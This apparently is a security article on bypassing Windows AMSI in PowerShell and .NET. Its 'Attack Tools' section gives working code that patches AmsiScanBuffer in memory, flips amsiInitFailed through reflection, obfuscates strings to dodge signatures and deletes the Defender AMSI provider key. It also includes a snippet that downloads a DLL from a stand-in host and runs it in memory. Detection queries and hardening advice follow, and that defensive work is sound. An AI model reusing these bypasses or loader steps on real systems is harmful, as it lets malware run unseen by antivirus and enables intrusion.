AMSI bypass techniques for PowerShell and .NET memory patching

AMSI Bypass Techniques for PowerShell and .NET

AMSI bypass methods including memory patching, reflection-based disabling, and obfuscation to execute unsigned PowerShell payloads.

Aug 25, 2026
2 min read

Introduction

The Antimalware Scan Interface (AMSI) is a Windows API standard introduced in Windows 10 that allows applications to pass buffers to the registered security product before execution. PowerShell, VBA, JScript, VBScript, and .NET all integrate with AMSI natively. The key call chain is: host application (e.g., powershell.exe) calls AmsiScanBuffer() in amsi.dll, which forwards the content to the AV engine's COM server for verdict. If the engine returns AMSI_RESULT_DETECTED, execution is blocked.

The attack surface is the interface itself. AMSI is implemented entirely in userland, loaded into the process space of the calling application. This means any bypass that operates within that same process space — whether patching bytes in memory, manipulating .NET reflection to flip internal state, or corrupting the scan context — runs with the same privileges as the shell and doesn't require kernel access.

AMSI does not replace Script Block Logging (Event ID 4104). Even a successful bypass does not suppress PowerShell's own logging pipeline. Defenders who rely solely on AMSI for visibility are already behind; defenders who combine AMSI with Script Block Logging and Constrained Language Mode have significantly more coverage.

Authorization Required

All techniques below require explicit written authorization. Testing AMSI bypasses on systems you do not own or have a signed scope of work for is a violation of the Computer Fraud and Abuse Act and equivalent statutes. Use isolated lab environments or authorized red team engagements only.

Impact

  • Execution of otherwise-blocked PowerShell payloads (Mimikatz, Rubeus, SharpHound) without AV triggering
  • Bypass of real-time scanning for in-memory .NET assemblies loaded via [System.Reflection.Assembly]::Load()
  • Circumvention of AV signature-based detection for PowerShell-delivered stagers and loaders
  • Enables further post-exploitation without dropping files to disk, reducing artifact footprint
  • VBA macro payloads can leverage AMSI bypass to execute shellcode in Office automation contexts

Technical Details

AMSI's scan path for PowerShell begins in System.Management.Automation.dll. Before a script block executes, AmsiUtils.ScanContent() is called, which P/Invokes into AmsiScanBuffer in amsi.dll. The function signature is:

AmsiScanBuffer signature
HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

The return value AMSI_RESULT_CLEAN (0) causes execution to proceed. The function lives at a known RVA within amsi.dll, which is mapped into the PowerShell process. The patch target is the first few bytes of AmsiScanBuffer — enough to force an early return before the scan occurs.

Memory Patch Flow

Locate amsi.dll in the current process

LoadLibrary("amsi.dll") returns the base address. If it's already loaded (it will be in any PowerShell session), GetModuleHandle returns the same handle. GetProcAddress then resolves AmsiScanBuffer to its exact address.

Mark memory as writable

The code section of a loaded DLL is marked PAGE_EXECUTE_READ. A call to VirtualProtect changes the protection flags to PAGE_EXECUTE_READWRITE for the target byte range, typically 6 bytes.

Write the patch bytes

The patch overwrites the function prologue with a sequence that returns AMSI_RESULT_CLEAN immediately. On x64, a common patch is:

  • xor eax, eax (0x33, 0xC0) — zeroes EAX
  • ret (0xC3) — returns immediately

This causes AmsiScanBuffer to always return 0 (S_OK) with a zeroed result pointer, which the caller interprets as clean.

Restore memory protection (optional)

Restoring the original protection flags (PAGE_EXECUTE_READ) reduces the process's anomaly footprint. EDRs that monitor for executable memory regions with write permissions will generate telemetry during the patch window.

Reflection-Based amsiInitFailed Bypass

System.Management.Automation.AmsiUtils maintains a private static field amsiInitFailed. When this boolean is true, the ScanContent method returns immediately without calling into AmsiScanBuffer. Setting this field via .NET reflection requires no P/Invoke and leaves a smaller syscall footprint than memory patching.

.NET Assembly Load Interception

When code calls [System.Reflection.Assembly]::Load($bytes), AMSI 10 (introduced in .NET Framework 4.8 and .NET Core 3.x) scans the byte array before the CLR processes it. The scan goes through AmsiScanBuffer in the same way PowerShell script blocks do. Patching AmsiScanBuffer before calling Assembly::Load neutralizes this protection.

COM Provider Removal

AMSI routes scan requests to registered providers via COM. The provider registration lives at HKLM\SOFTWARE\Microsoft\AMSI\Providers\. Removing or corrupting this key unregisters the AV engine's AMSI provider, causing AmsiScanBuffer to return AMSI_RESULT_CLEAN by default (no provider = no detection). This requires administrator privileges and makes a detectable registry change.

Attack Tools

AmsiScanBuffer patch via P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$lib = [Win32]::LoadLibrary("amsi.dll")
$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

$oldProtect = 0
[Win32]::VirtualProtect($addr, [UIntPtr]5, 0x40, [ref]$oldProtect) | Out-Null

# xor eax,eax; ret
$patch = [Byte[]] (0x33, 0xC0, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 3)

[Win32]::VirtualProtect($addr, [UIntPtr]5, $oldProtect, [ref]$oldProtect) | Out-Null

After this executes, any subsequent AmsiScanBuffer call in the current process returns immediately with EAX=0, effectively disabling AMSI for the lifetime of that PowerShell session.

amsiInitFailed reflection bypass
# Split string to avoid triggering AMSI on the keyword itself
$a = 'System.Management.Automation.A'
$b = 'msiUtils'
$c = $a + $b

$type = [Ref].Assembly.GetType($c)
$field = $type.GetField(
    'amsiInitFailed',
    [System.Reflection.BindingFlags]'NonPublic,Static'
)
$field.SetValue($null, $true)

This sets the amsiInitFailed flag to true, causing AmsiUtils.ScanContent() to skip scanning entirely. The string splitting bypasses AMSI's own scan of the bypass code itself since AmsiUtils is a known trigger string.

Verify bypass is active
# Should not trigger AV if bypass is working
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("QQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAA=="))
# Decodes to: AmsiScanBuffer
Patch AMSI before Assembly::Load
# First apply memory patch (see Memory Patch tab), then:
$url = "http://10.10.10.10/payload.dll"
$bytes = (New-Object System.Net.WebClient).DownloadData($url)

# With AMSI patched, this load bypasses scanning
$asm = [System.Reflection.Assembly]::Load($bytes)

# Invoke entry point
$type = $asm.GetType("Namespace.ClassName")
$method = $type.GetMethod("Main")
$method.Invoke($null, $null)
ETW + AMSI combined disable for .NET
# Disable ETW tracing in the CLR (reduces .NET load telemetry)
$etw = [Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider')
$etwField = $etw.GetField('m_enabled', [System.Reflection.BindingFlags]'NonPublic,Instance')

# Get the ETW provider instance from the PowerShell runspace
# Note: this is CLR-version specific and may need adjustment

String-level AMSI bypass detection triggers on known strings like AmsiScanBuffer, amsiInitFailed, AmsiUtils. Obfuscation prevents static analysis from matching these signatures before the bypass executes.

String concatenation to avoid static triggers
# Avoid: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$p1 = 'System.Management.A'
$p2 = 'utomation.AmsiUtils'
[Ref].Assembly.GetType($p1 + $p2)
Char array construction
$chars = [char[]]@(65,109,115,105,83,99,97,110,66,117,102,102,101,114)
$funcName = -join $chars
# $funcName = "AmsiScanBuffer"
Environment variable expansion
$env:TEMP_AMSI = 'AmsiScanBuf'
$fullName = $env:TEMP_AMSI + 'fer'
Base64 decode at runtime
# Encode the target string: AmsiUtils -> base64
$encoded = 'QW1zaVV0aWxz'
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
# Use $decoded as the type name string
SecureString reversal
$ss = ConvertTo-SecureString "AmsiScanBuffer" -AsPlainText -Force
$plain = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
    [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss)
)

Combining multiple obfuscation layers (split strings + base64 + char arrays) significantly reduces detection rates against signature-based AMSI providers, though behavioral detection in modern EDRs may still flag the reflection calls.

Remove AMSI COM provider (admin required)
# List current providers
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"

# Windows Defender AMSI provider CLSID
$defenderClsid = "{2781761E-28E0-4109-99FE-B9D127C57AFE}"

# Remove the provider registration (requires admin)
Remove-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\$defenderClsid" -Force

# New PowerShell sessions will have no AMSI provider registered
# Existing sessions are unaffected until they call AmsiInitialize again
Verify no providers registered
$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -ErrorAction SilentlyContinue
if ($null -eq $providers) { "No AMSI providers registered" }

This approach is highly detectable due to the registry change and the admin privilege requirement. Use memory patching or reflection for lower-visibility operations.

Detection

AMSI bypasses are detectable through multiple independent channels. The critical insight: a successful AMSI bypass does not disable PowerShell's Script Block Logging. Event ID 4104 fires in the PowerShell operational log regardless of AMSI state, capturing the exact script content before execution — including the bypass code itself.

Detection SourceEvent/QueryWhat it Catches
PowerShell Script Block LoggingEvent ID 4104Full script content including bypass code
PowerShell Module LoggingEvent ID 4103Module load events, cmdlet parameters
Process CreationEvent ID 4688 / Sysmon 1powershell.exe with -EncodedCommand, -NoProfile
VirtualProtect on amsi.dllSysmon 10 (Process Access)Memory protection change on AMSI function
.NET Runtime ETWMicrosoft-Windows-DotNETRuntimeAssembly loads from non-file sources
RegistrySysmon 13 (Registry Value Set)Deletion of AMSI provider keys
AMSI TelemetryWindows Defender ATPScan result anomalies, provider failures
Detect AMSI bypass attempts via Script Block Log
# Query PowerShell Script Block Logging for known bypass strings
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
  Where-Object { $_.Id -eq 4104 } |
  Where-Object { $_.Message -match "AmsiUtils|AmsiScanBuffer|amsiInitFailed|VirtualProtect" } |
  Select-Object TimeCreated, Message
Microsoft Sentinel / Defender KQL — AMSI bypass hunting
SecurityEvent
| where EventID == 4104
| where EventData has_any ("AmsiScanBuffer", "amsiInitFailed", "AmsiUtils", "VirtualProtect", "amsi.dll")
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc
Sysmon — VirtualProtect call targeting amsi.dll
Event
| where Source == "Microsoft-Windows-Sysmon"
| where EventID == 10
| where TargetImage endswith "amsi.dll" or CallTrace contains "amsi.dll"
| project TimeGenerated, SourceImage, TargetImage, CallTrace

Defenders should also monitor for reflection-based access to non-public fields in System.Management.Automation.dll. ETW providers from the .NET runtime (Microsoft-Windows-DotNETRuntime with keyword JITKeyword) can surface these calls at the method level.

Remediation

Script Block Logging is the most effective countermeasure. Enable it via Group Policy at Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging. This captures deobfuscated content after PowerShell's own tokenizer processes it — even if AMSI is bypassed, the plaintext appears in Event ID 4104.

Constrained Language Mode (CLM) prevents the use of .NET reflection entirely when enforced via AppLocker or WDAC policy. This blocks the reflection-based amsiInitFailed bypass and prevents Add-Type from compiling the P/Invoke shim used in memory patches.

Check and enforce Constrained Language Mode
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted, ConstrainedLanguage = CLM active

# CLM is enforced by AppLocker or WDAC — not a PowerShell setting
# Verify AppLocker is enforcing:
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Windows Defender Application Control (WDAC) enforces code integrity at the kernel level and is significantly harder to bypass than AppLocker. A WDAC policy in enforced mode prevents unsigned PowerShell scripts and unsigned .NET assemblies from executing, which neutralizes file-based delivery of bypass code.

AMSI Provider Hardening:

  • Protect the HKLM:\SOFTWARE\Microsoft\AMSI\Providers key with restricted ACLs to prevent non-admin deletion
  • Monitor for provider key deletions with Sysmon Rule ID 13
  • Ensure AV/EDR products register AMSI providers that scan for bypass attempts themselves (most modern EDRs do this)

PowerShell Logging Recommendations:

ControlGPO PathMinimum Setting
Script Block LoggingWindows PowerShellEnabled
Module LoggingWindows PowerShellEnabled (all modules)
TranscriptionWindows PowerShellEnabled, central share
WDAC PolicyDevice GuardEnforced mode
AppLockerApplication ControlEnforce mode, script rules

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page